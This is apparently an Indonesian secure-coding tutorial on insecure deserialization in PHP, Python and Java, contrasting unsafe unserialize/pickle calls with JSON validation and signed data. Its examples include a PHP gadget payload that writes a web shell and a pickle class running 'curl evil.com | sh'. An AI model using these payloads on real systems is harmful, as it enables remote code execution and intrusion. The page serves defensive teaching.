Insecure Deserialization — Security

Serialization: Refresh Serialization mengubah object menjadi string/bytes agar bisa disimpan atau dikirim. Deserialization kebalikannya. Masalah muncul saat apl

Serialization: Refresh

Serialization mengubah object menjadi string/bytes agar bisa disimpan atau dikirim. Deserialization kebalikannya. Masalah muncul saat aplikasi men-deserialisasi data dari sumber yang tidak dipercaya — struktur data bisa membawa instruksi yang dieksekusi oleh runtime.

Format Aman vs Berbahaya

PHP: Magic Method Gadgets

// BURUK: unserialize dari input user
$data = unserialize($_COOKIE["pref"]); // ← bahaya!

// Kenapa? Saat unserialize, PHP memanggil magic method:
// __wakeup() — dipanggil saat object di-restore
// __destruct() — dipanggil saat object dihancurkan
// __toString() — dipanggil saat object dikonversi string

// Kalau ada class di codebase dengan __destruct yang memanggil
// file_put_contents / exec / eval, attacker merangkai "gadget chain"
class Logger {
    public $file;
    public $data;
    public function __destruct() {
        file_put_contents($this->file, $this->data);
    }
}
// Payload: O:6:"Logger":2:{s:4:"file";s:13:"/var/www/shell.php";s:4:"data";s:23:"<?php system($_GET[0]);";}
// Unserialize → destructor menulis web shell!

BAIK: JSON + Validasi

// Prefer JSON untuk data transport
$data = json_decode($_COOKIE["pref"], true);
if (!is_array($data) || !isset($data["theme"])) {
    throw new InvalidArgumentException("Invalid cookie");
}
$theme = in_array($data["theme"], ["light","dark"]) ? $data["theme"] : "light";

BAIK: Signed Data kalau Harus Pakai Binary

// Laravel: tanda tangani cookie
$signed = Crypt::encryptString(serialize($obj));
// Attacker tidak bisa modifikasi tanpa memecahkan kunci enkripsi

Python: Pickle Gadgets

# BURUK
import pickle
user_pref = pickle.loads(request.cookies["pref"])

# Payload attacker:
import pickle, os
class RCE:
    def __reduce__(self):
        return (os.system, ("curl evil.com | sh",))
payload = pickle.dumps(RCE())
# pickle.loads(payload) → jalankan shell command

# BAIK
import json
user_pref = json.loads(request.cookies["pref"])

Java: ysoserial

Java ObjectInputStream.readObject() memicu rantai method di class di classpath. Tool ysoserial mengotomatiskan generasi payload untuk library populer (Commons Collections, Spring, Hibernate). Serangan RCE sering ditemukan di endpoint yang menerima serialized Java object (RMI, JMX, beberapa API lama).

Pencegahan

Red Flags di Code Review

// Cari pattern ini:
unserialize($_GET / $_POST / $_COOKIE / $_REQUEST)   // PHP
pickle.loads(request....)                            // Python
yaml.load(...) tanpa Loader=yaml.SafeLoader           // Python
ObjectInputStream(userInput).readObject()            // Java
Marshal.load(userInput)                              // Ruby

Yang akan kamu pelajari